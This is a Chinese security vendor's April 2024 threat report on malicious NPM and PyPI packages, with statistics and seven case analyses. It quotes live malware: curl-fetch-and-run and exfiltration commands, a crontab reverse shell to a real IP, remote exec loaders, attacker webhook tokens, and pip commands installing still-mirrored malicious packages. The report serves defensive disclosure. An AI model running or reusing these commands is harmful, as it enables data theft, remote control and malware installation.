供應(yīng)鏈投毒預(yù)警 | 開源供應(yīng)鏈投毒202404月報發(fā)布(含投毒案例分析)

懸鏡安全情報
懸鏡供應(yīng)鏈安全情報中心通過持續(xù)監(jiān)測全網(wǎng)主流開源軟件倉庫,結(jié)合程序動靜態(tài)分析方式對潛在風(fēng)險的開源組件包進(jìn)行動態(tài)跟蹤和捕獲,發(fā)現(xiàn)大量的開源組件惡意包投毒攻擊事件。

本文來自微信公眾號“ 懸鏡安全”,作者/懸鏡安全情報。

概述

懸鏡供應(yīng)鏈安全情報中心通過持續(xù)監(jiān)測全網(wǎng)主流開源軟件倉庫,結(jié)合程序動靜態(tài)分析方式對潛在風(fēng)險的開源組件包進(jìn)行動態(tài)跟蹤和捕獲,發(fā)現(xiàn)大量的開源組件惡意包投毒攻擊事件。在2024年4月份,懸鏡供應(yīng)鏈安全情報中心在NPM官方倉庫(https://www.npmjs.com/)和Pypi官方倉庫(https://pypi.org/)上共捕獲772個不同版本的惡意組件包,其中NPM倉庫投毒占比接近89%, Pypi倉庫投毒占比11%;Pypi官方倉庫經(jīng)歷3月份遭受集中式投毒后,對新發(fā)布組件包進(jìn)一步加強(qiáng)審查力度,本月Pypi惡意投毒攻擊呈現(xiàn)大幅下降趨勢。

640 (1).png

4月份惡意組件數(shù)量及倉庫分布

640 (1).png

4月份惡意組件每日統(tǒng)計

640 (1).png

4月份惡意組件態(tài)勢統(tǒng)計

針對4月份捕獲的惡意投毒組件,我們結(jié)合靜態(tài)規(guī)則掃描、源代碼審計、動態(tài)行為監(jiān)控等方式進(jìn)行多方位分析,總結(jié)統(tǒng)計投毒組件的攻擊方式和惡意行為標(biāo)簽。

640 (1).png

攻擊方式統(tǒng)計

投毒組件攻擊方式主要包括:

 ●惡意文件執(zhí)行

 ●惡意文件下載

 ●代碼混淆執(zhí)行

 ●惡意文件釋放

●Shell命令執(zhí)行

其中,投毒者最常用的攻擊方式依舊是惡意文件執(zhí)行(84.25%),其攻擊流程是利用開源組件包管理器中的自定義指令來執(zhí)行隱藏在組件安裝包中的惡意文件。此外,惡意文件遠(yuǎn)程下載執(zhí)行(8.64%)、惡意代碼混淆(4.81%)、惡意文件釋放執(zhí)行(1.2%)以及Shell命令執(zhí)行(1.09%)都是攻擊者慣用的投毒手段。

640 (1).png

惡意行為統(tǒng)計

在4月份捕獲的惡意投毒組件中,信息竊取攻擊占比高達(dá)93%,其中系統(tǒng)基礎(chǔ)信息、系統(tǒng)密碼文件、系統(tǒng)日志、用戶信息、網(wǎng)絡(luò)配置、DNS服務(wù)器IP、瀏覽器Cookie及登錄憑證等敏感信息是攻擊者的主要竊取目標(biāo)。值得關(guān)注的是,Pypi倉庫發(fā)生多起CStealer竊密后門以及挖礦后門投毒;其次,通過遠(yuǎn)控木馬和反向Shell后門進(jìn)行遠(yuǎn)控投毒的攻擊呈現(xiàn)逐步上漲趨勢。相較于3月份,針對數(shù)字錢包應(yīng)用的攻擊有較大幅度減少。

投毒案例分析

本節(jié)將從4月份捕獲的開源組件惡意包中選取部分具有代表性的投毒樣本進(jìn)行分析、還原投毒攻擊細(xì)節(jié)。

Part 1 系統(tǒng)信息外傳

4月15~16號,攻擊者在Pypi官方倉庫發(fā)布多個包名為rhermann相關(guān)的惡意包(包括rhermann、rhermann-ct、rhermann-sdsm以及rhermann-sds)。這些惡意包具有相同的攻擊代碼以及相同的高版本號(99.0),可推斷攻擊者嘗試進(jìn)行包依賴混淆(Dependency Confusion)供應(yīng)鏈投毒。

惡意代碼直接植入在Python安裝包setup.py中,當(dāng)包管理器下載安裝這些惡意Python包時,惡意代碼優(yōu)先觸發(fā)執(zhí)行。惡意代碼主要負(fù)責(zé)收集并外傳受害者系統(tǒng)的版本信息、主機(jī)名、用戶名、本地網(wǎng)絡(luò)配置、DNS解析配置、主機(jī)IP等敏感數(shù)據(jù)(如下圖所示)。

640 (1).png

收集到的系統(tǒng)敏感信息將被外傳給攻擊者控制的服務(wù)接口:https://pypi-index.org/process_data

640 (1).png

該惡意域名pypi-index.org與Pypi官方域名相比具備一定迷惑性,注冊時間為2024年4月10號。

640 (1).png

截止目前,國內(nèi)部分Python鏡像源仍緩存這些惡意包,其Pypi官方包下載量為758次。

640 (1).png

以rhermann為例,目前該惡意Py包仍可從國內(nèi)主流Pypi鏡像源(清華大學(xué)、騰訊云等)下載安裝,因此潛在的受害者數(shù)量可能會更多。

640 (1).png

以國內(nèi)清華大學(xué)鏡像源為例,可通過以下命令測試安裝該惡意組件包。

pip3 install rhermann -i https://pypi.tuna.tsinghua.edu.cn/simple

640 (1).png

Part 2 惡意Shell命令執(zhí)行

4月2號,攻擊者在NPM官方倉庫發(fā)布包名為monopulips的惡意NPM組件。在組件安裝包的模塊描述文件package.json中,通過定義postinstall指令在安裝過程中執(zhí)行惡意bash命令。

bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'

640 (1).png

惡意bash命令通過curl從攻擊者服務(wù)器(https://research20934i.sherlockshat007.workers.dev)拉取第二階段惡意bash腳本(script.sh)受害者系統(tǒng)上執(zhí)行。

640 (1).png

第二階段bash腳本內(nèi)容如上所示,其內(nèi)嵌了一段編碼后(先base64編碼再字符串反轉(zhuǎn))的bash腳本代碼,進(jìn)一步解碼后獲取第三階段真實的惡意bash代碼解碼(如下所示),其主要目的是將系統(tǒng)密碼文件/etc/passwd、bash歷史文件~/.bash_history 外傳到攻擊者服務(wù)器(https://8b53a8d8a1c2.sherlockshat007.workers.dev)

curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd ) \n Installed NPM modules: \n $(npm ls)\n bash history: \n $(cat ~/.bash_history)" -H "secureforward: lksadf8q3elk39" -H "Content-Type: text/plain" https://8b53a8d8a1c2.sherlockshat007.workers.dev

此外在4月4號,我們在Pypi倉庫捕獲到的惡意Python包lyft-core(版本號999.3.9)通樣也使用以上極為相似的惡意bash代碼進(jìn)行投毒攻擊(如下所示)。

640 (1).png

Part 3 反向Shell后門

4月4~7號,投毒者在Pypi官方倉庫投放2個偽裝成知名Python UserAgent解析庫(user-agents)的惡意包(user-agents-parser和user-agents-parsers),這兩個惡意包內(nèi)置了包含Linux反向Shell后門代碼的Python模塊user-agents。當(dāng)安裝這些惡意包時,惡意包會釋放出后門user-agents模塊,并替換掉受害者系統(tǒng)環(huán)境中原有user-agents模塊,實現(xiàn)Python模塊投毒。

640 (1).png

以user-agents-parser為例,在2.2.2版本安裝包中,user-agents/parsers.py在文件末尾包含惡意代碼(如下圖所示)。

__import__("os").system("(crontab -l > .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")

640 (1).png

惡意代碼通過linux crontab將反向Shell后門寫入linux計劃任務(wù),嘗試實現(xiàn)后門持久化。如果受害者系統(tǒng)為Linux系統(tǒng),系統(tǒng)bash shell將反彈到投毒者服務(wù)器(95.179.177.74:1337)上,投毒者可對受害者系統(tǒng)進(jìn)行遠(yuǎn)程Shell后門控制。

截止目前,這兩個惡意Python包總下載量為904次。

640 (1).png

以user-agents-parsers為例,目前該惡意Py包仍可從國內(nèi)主流Pypi鏡像源(清華大學(xué)、騰訊云等)下載安裝。

640 (1).png

以國內(nèi)清華大學(xué)鏡像源為例,可通過以下命令測試安裝該惡意組件包。

pip3 install user-agents-parsers -i https://pypi.tuna.tsinghua.edu.cn/simple

640 (1).png

Part 4 CStealer后門

4月25~26號, 懸鏡供應(yīng)鏈安全情報中心在Pypi官方倉庫中捕獲14個偽裝http客戶端開展CStealer竊密后門攻擊的投毒包,涉及multiplerequests、multihttp以及multihttps。這些惡意包主要針對Windows平臺Python開發(fā)者,惡意包在安裝時會遠(yuǎn)程加載CStealer后門到受害者系統(tǒng)上執(zhí)行,該后門會竊取受害者系統(tǒng)敏感信息、主流瀏覽器隱私數(shù)據(jù)、數(shù)字貨幣錢包應(yīng)用數(shù)據(jù)以及系統(tǒng)屏幕截屏等。此外,后門還會嘗試駐留Windows系統(tǒng)啟動目錄實現(xiàn)開機(jī)自啟動。

以multihttps惡意包2.32.5版本為例,當(dāng)Python開發(fā)者使用pip install從Pypi官方倉庫或下游鏡像源直接安裝或依賴引用惡意組件包時,將觸發(fā)執(zhí)行Python安裝包setup.py中第一階段惡意代碼(如下圖所示)。

640 (1).png

第一階段惡意代碼進(jìn)一步從投毒者服務(wù)器上拉取第二階段惡意代碼并執(zhí)行。

from urllib import request

package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"

package_name = request.urlopen(package_url).read()

exec(base64.b64decode(package_name))

第二階段惡意代碼經(jīng)過base64編碼,如下所示:

640 (1).png

Base64解碼后還原出真實的第二階段惡意代碼,如下所示:

640 (1).png

經(jīng)代碼分析后確認(rèn)該惡意代碼是github開源CStleaer后門項目的變種版本。

https://github.com/can-kat/cstealer/blob/main/cstealer.py

640 (1).png

該CStealer后門主要包括以下功能:

1. 收集系統(tǒng)敏感信息

2. 收集瀏覽器隱私數(shù)據(jù)

3. 收集數(shù)字錢包應(yīng)用數(shù)據(jù)

4. 系統(tǒng)屏幕截屏

5. 開機(jī)自啟動

關(guān)于CStealer后門詳細(xì)分析可參考《惡意Py包偽裝HTTP組件開展CStealer竊密后門攻擊》

如下所示,CStealer后門竊取的敏感數(shù)據(jù)包括受害者系統(tǒng)的屏幕截屏都將發(fā)送到投毒者webhook接口上。

https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW

640 (1).png

截至目前,這些CStealer惡意Py包在Pypi官方倉庫上已被下載超過2200次。

640 (1).png

以multihttps為例,目前該惡意py包仍可從國內(nèi)主流Pypi鏡像源(清華大學(xué)、騰訊云等)下載安裝。

640 (1).png

以國內(nèi)清華大學(xué)鏡像源為例,可通過以下命令測試安裝該惡意組件包。

pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple

640 (1).png

Part 5 惡意木馬植入

4月15~18號,攻擊者在NPM官方倉庫發(fā)布包名為djs-log,版本號為1.1.0和1.1.1的惡意包,通過偽裝成知名NPM discord組件discord.js(下圖所示)進(jìn)行惡意木馬投毒攻擊。

640 (1).png

在組件安裝包的模塊描述文件package.json中,通過定義preinstall指令在安裝過程中直接執(zhí)行shell命令。

djs-log惡意包的index.js被混淆保護(hù),混淆代碼如下所示:

640 (1).png

對混淆代碼進(jìn)行還原后(下圖所示)可知,該惡意文件主要負(fù)責(zé)從discord CDN服務(wù)器拉取惡意木馬文件Uninstall-Node.js.exe到系統(tǒng)中執(zhí)行。

640 (1).png

Uninstall-Node.js.exe在Virustotal上被3款殺毒引擎判定為惡意木馬文件。

640 (1).png

此外,對于 Python組件reqargs在官方Pypi上連續(xù)發(fā)布4個不同版本惡意包。該組件安裝包的setup.py文件被植入遠(yuǎn)程下載執(zhí)行木馬文件的惡意代碼(如下圖所示)。

640 (1).png

惡意代碼從Dropbox服務(wù)器上下載新的木馬程序windows.exe到受害者系統(tǒng)臨時目錄上執(zhí)行。

https://cdn.discordapp.com/attachments/1227878114533572611/1227920673457045554/ConsoleApplication2.exe?ex=662a293e&is=6617b43e&hm=aaf95cda360017d5147699490bdb6a23597fbf29a42599b417011fbc40262018

該木馬程序在virustotal上被多款殺毒引擎檢出(如下圖所示)。

640 (1).png

Part 6 數(shù)字錢包APP竊密劫持

4月9號,攻擊者在Pypi官方倉庫投放包名為useragent-api的惡意包(涉及版本3.1.1、3.1.4及3.1.5)。在__init__.py中存在包含惡意代碼的fetch_useragents函數(shù)接口(如下所示)。

640 (1).png

第一階段惡意代碼采用字符串hex編碼,解碼后得出真實代碼如下所示,通過遠(yuǎn)程拉取第二階段惡意代碼并執(zhí)行。

import requests; exec(requests.get("https://rentry.co/9sdyip8p/raw").text)

第二階段惡意代碼內(nèi)容如下所示:

640 (1).png

第三階段惡意代碼采用PowerShell編寫,并通過base64編碼,解碼后為:

$pastebinURL = "https://rentry.co/7w5v9p4k/raw"; $code = Invoke-WebRequest -UseBasicParsing -Uri $pastebinURL | Select-Object -ExpandProperty Content; Invoke-Expression -Command $code

PowerShell代碼會進(jìn)一步從攻擊者服務(wù)器拉取第四階段PowerShell代碼(https://rentry.co/7w5v9p4k/raw)并執(zhí)行,該P(yáng)owerShell惡意代碼主要包含5大功能:

1.收集用戶口令數(shù)據(jù)

2.收集數(shù)字錢包應(yīng)用數(shù)據(jù)

3.篡改劫持?jǐn)?shù)字錢包應(yīng)用

4.系統(tǒng)屏幕截屏

5.數(shù)據(jù)外傳

收集用戶口令數(shù)據(jù)

根據(jù)內(nèi)置關(guān)鍵字匹配規(guī)則(如下如所示),收集所有命中匹配敏感關(guān)鍵字(數(shù)字錢包助記詞、數(shù)字錢包登錄口令、賬戶私鑰等)的文件。

640 (1).png

收集數(shù)字錢包應(yīng)用數(shù)據(jù)

針對主流數(shù)字錢包(Exodus、Electrum、Monero)的應(yīng)用數(shù)據(jù)目錄進(jìn)行全量拷貝(如下所示)。

640 (1).png

篡改劫持?jǐn)?shù)字錢包應(yīng)用

此外,惡意代碼還會遠(yuǎn)程下載包含后門的app.asar文件,并嘗試殺掉Exodus錢包應(yīng)用進(jìn)程后,使用惡意app.asar替換原有Exodus錢包app.asar文件,從而實現(xiàn)錢包應(yīng)用程序的持久化劫持。

https://cloudflare-ipfs.com/ipfs/Qmed41NkN5P6T7uNb8dTTWE74gAcXzrsmzjY5FokecKgTD

640 (1).png

系統(tǒng)屏幕截屏

如下所示,惡意代碼還會調(diào)用PowerShell接口對受害者系統(tǒng)屏幕進(jìn)行截屏操作并生成png圖片。

640 (1).png

數(shù)據(jù)外傳

對于收集的數(shù)字錢包應(yīng)用數(shù)據(jù)進(jìn)行zip打包,最后將zip壓縮包和系統(tǒng)截屏圖片通過curl傳輸?shù)焦粽哌h(yuǎn)程服務(wù)接口(如下圖所示)。

https://api.telegram.org/bot6435250964:AAGjL9ujzVRNrU2o23KcTFeUFwawogschE0

640 (1).png

截至目前,該惡意Py包在Pypi官方倉庫上已被下載860次。

640 (1).png

Part 7 挖礦后門

4月10號,投毒者通過偽裝Python colorprint模塊(下圖所示)在Pypi官方倉庫投放4個不同版本的惡意包(py-colorprinting),這些惡意包內(nèi)置了靜默下載執(zhí)行數(shù)字貨幣挖礦后門的colorprint python模塊。當(dāng)安裝這些惡意包時,惡意包會釋放出colorprint后門模塊,并替換掉受害者系統(tǒng)環(huán)境中原有colorprint模塊,實現(xiàn)Python模塊投毒。

640 (1).png

以py-colorprinting 0.1.5版本為例,colorpr/__init__.py默認(rèn)加載core.py,將觸發(fā)執(zhí)行包含惡意代碼的InitializeConsole函數(shù)(如下圖所示)。惡意代碼啟動線程從投毒者服務(wù)器上下載挖礦程序壓縮包ore-miner.zip,解壓ore-miner.zip后執(zhí)行ORE幣挖礦程序ore-miner.exe。

https://cosmoplanets.net/well-known/pki-validation/ore-miner.zip

640 (1).png

ore-miner是基于Electron開發(fā)的挖礦客戶端,整體程序結(jié)構(gòu)如下所示:

640 (1).png

投毒者使用的礦池地址為:

https://jupiter-frontend.rpcpool.com

https://raydium-raydium-5ad5.mainnet.rpcpool.com

640 (1).png

截止目前,該惡意Python包總下載量為864次。

640 (1).png

目前該惡意Py包仍可從國內(nèi)主流Pypi鏡像源(清華大學(xué)、騰訊云等)下載安裝。

640 (1).png

以國內(nèi)清華大學(xué)鏡像源為例,可通過以下命令測試安裝該惡意組件包。

pip3 install py-colorprinting -i https://pypi.tuna.tsinghua.edu.cn/simple

640 (1).png

排查方式

針對本分析報告中的投毒樣本,開發(fā)者可使用OpenSCA-cli,將受影響的組件包按如下示例保存為db.json文件(可參考總結(jié)中提到的組件包信息按格式增減),直接執(zhí)行掃描命令(opensca-cli -db db.json -path $),即可快速獲知您的項目是否受到文中所披露的投毒包的影響。

640 (1).png

640 (1).png

640 (1).png

640 (1).png

總結(jié)

根據(jù)2024年4月份捕獲的開源組件投毒統(tǒng)計數(shù)據(jù)以及分析報告來看,投毒攻擊手法和目標(biāo)呈現(xiàn)多樣化趨勢。NPM倉庫依舊是投毒攻擊的重點(diǎn)目標(biāo),敏感數(shù)據(jù)竊取仍是主流攻擊,此外,針對數(shù)字錢包應(yīng)用的劫持攻擊以及挖礦后門投毒攻擊也日趨嚴(yán)重。

懸鏡供應(yīng)鏈安全情報中心是國內(nèi)首個數(shù)字供應(yīng)鏈安全情報研究中心,依托懸鏡安全團(tuán)隊強(qiáng)大的供應(yīng)鏈SBOM管理與監(jiān)測能力和AI安全大數(shù)據(jù)云端分析能力,對全球數(shù)字供應(yīng)鏈安全漏洞、投毒事件、組件風(fēng)險等進(jìn)行實時動態(tài)監(jiān)測與溯源分析,為用戶智能精準(zhǔn)預(yù)警“與我有關(guān)”的數(shù)字供應(yīng)鏈安全情報。

針對本分析報告中的投毒樣本,開發(fā)者可使用OpenSCA-cli,將受影響的組件包按如下示例保存為db.json文件(可參考總結(jié)中提到的組件包信息按格式增減),直接執(zhí)行掃描命令(opensca-cli -db db.json -path $),即可快速獲知您的項目是否受到文中所披露的投毒包的影響。

THEEND

最新評論(評論僅代表用戶觀點(diǎn))

更多
暫無評論